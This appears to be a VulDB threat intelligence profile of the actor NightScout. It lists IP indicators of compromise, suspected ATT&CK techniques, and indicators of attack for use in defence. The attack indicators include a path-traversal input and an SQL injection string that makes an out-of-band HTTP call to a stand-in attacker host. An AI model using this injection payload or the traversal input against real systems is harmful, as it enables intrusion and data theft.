cyber_threat_intelligence/NightScout

NightScout - Cyber Threat Intelligence

The indicators are related to VulDB CTI analysis of the actor known as NightScout. The activity monitoring correlates data from social media, forums, chat rooms, and darknet markets. It helps to determine associated actors, activities, intentions, emerging research, and attacks. Our unique predictive model is able to forecast activities and their characteristics.

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Campaigns

The following campaigns are known and can be associated with NightScout:

• NightScout

Countries

These countries are directly (e.g. origin of attacks) or indirectly (e.g. access by proxy) associated with NightScout:

• CN
• US

IOC - Indicator of Compromise

These indicators of compromise indicate associated network ressources which are known to be part of research and attack activities of NightScout.

ID	IP address	Hostname	Confidence
1	45.158.32.65	-	High
2	103.255.177.138	-	High
3	185.239.226.172	-	High
4	...	...	...

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TTP - Tactics, Techniques, Procedures

Tactics, techniques, and procedures summarize the suspected ATT&CK techniques used by NightScout. This data is unique as it uses our predictive model for actor profiling.

ID	Technique	Description	Confidence
1	T1059.007	Cross Site Scripting	High
2	T1068	Execution with Unnecessary Privileges	High

IOA - Indicator of Attack

These indicators of attack list the potential fragments used for technical activities like reconnaissance, exploitation, privilege escalation, and exfiltration by NightScout. This data is unique as it uses our predictive model for actor profiling.

ID	Type	Indicator	Confidence
1	File	/+CSCOE+/logon.html	High
2	File	/cgi-bin/wapopen	High
3	File	iesfootprint.jsp	High
4	File	login_meeting.cgi	High
5	Library	ContentStore/Base/CVDataPipe.dll	High
6	Argument	FILECAMERA	Medium
7	Argument	src	Low
8	Input Value	../..	Low
9	Input Value	11' AND utl_http.request('http://attackers_host/lalal')='1' GROUP BY panel_name)) --	High

References

The following list contains external sources which discuss the actor and the associated activities:

• https://vxug.fakedoma.in/archive/APTs/2021/2021.02.01/Operation%20NightScout.pdf

Literature

The following articles explain our unique predictive cyber threat intelligence:

• VulDB Cyber Threat Intelligence Documentation
• Cyber Threat Intelligence - Early Anticipation of Attacks

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